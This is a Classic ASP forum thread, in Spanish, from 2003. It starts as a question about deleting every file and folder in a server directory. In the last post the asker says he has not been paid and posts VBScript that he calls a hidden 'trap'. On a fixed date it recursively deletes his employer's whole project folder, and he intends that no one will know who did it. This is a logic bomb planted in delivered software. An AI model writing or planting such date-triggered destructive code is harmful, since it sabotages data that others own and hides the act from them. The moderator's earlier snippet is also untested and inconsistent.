Foros del Web » Programando para Internet » ASP Clásico »

Urgente...

Estas en el tema de Urgente... en el foro de ASP Clásico en Foros del Web. amigos, alguien me puede ayudar necesito crear una funcion para eliminar todos los archivox y carpetas que existan dentro de una carpeta en el servidor... ...
  #1 (permalink)  
Antiguo 27/08/2003, 10:06
 
Fecha de Ingreso: julio-2002
Ubicación: Stgo
Mensajes: 164
Antigüedad: 22 años, 9 meses
Puntos: 0
Urgente...

amigos, alguien me puede ayudar necesito crear una funcion para eliminar todos los archivox y carpetas que existan dentro de una carpeta en el servidor...

por ejemplo


c:/inetpub/wwwroot/aplicacion/paginaDELETE.asp

dentro de la carpeta aplicacion hay MUCHAS carpetas

y quiero eliminar TODO de una sola vez....

coimo puedo hacerlo con asp ?????

graciassssssssssssssss por su ayuda
__________________
Saludos
Alejandro Antonio :-D
from ChiLE :pensando:
[email protected]
icq:14648436
[email protected]
  #2 (permalink)  
Antiguo 27/08/2003, 12:54
Avatar de u_goldman
Moderador
 
Fecha de Ingreso: enero-2002
Mensajes: 8.031
Antigüedad: 23 años, 3 meses
Puntos: 98
A ver si funciona, no lo he probado....

Set Fso= server.createObject("Scripting.FileSystemObject")

Function es_archivo(nombre)
If fso.FileExists("ruta\" & nombre) Then
es_archivo= true
Else
es_archivo= false
End If
End Function

Set ArchivosPorBorrar= fsoObject.GetFolder(path & "\folder\")
For each File in ArchivosPorBorrar.Files
mi_item= es_archivo(File.name)
If mi_item Then
fso.DeleteFile("ruta\" & File.Name)
Else
fso.DeleteFolder("ruta\" & File.Name)
End If
Next

Salu2,
__________________
"El hombre que ha empezado a vivir seriamente por dentro, empieza a vivir más sencillamente por fuera."
-- Ernest Hemingway
  #3 (permalink)  
Antiguo 27/08/2003, 13:18
 
Fecha de Ingreso: julio-2002
Ubicación: Stgo
Mensajes: 164
Antigüedad: 22 años, 9 meses
Puntos: 0
Finalmente lo hice asi !!!

lo que pasa es que en mi trabajo no me han pagado hace como 4 meses, estoy terminando un proyecto y estoy Viendo DIFICIL que me paguen, entonces quiero dejar lista una especie de "Trampa" para que si es que en 20 dias mas no me pagan, se ELIMINE todo el proyecto y no tendrán IDEA de quien fue :P jejeje...

es bastante penka lo que intento hacer, pero hay que defender lo que a cada uno le corresponde no creen?

Function List(folderspec)
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
fSO.DeleteFolder folderspec, true
End Function

dia = day(now())
mes = month(now())
ano = year(now())

if dia = 28 and mes = 9 and ano = 2003 then
list(Server.MapPath("CARPETA_A_ELIMINAR"))
end if
__________________
Saludos
Alejandro Antonio :-D
from ChiLE :pensando:
[email protected]
icq:14648436
[email protected]
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 20:45.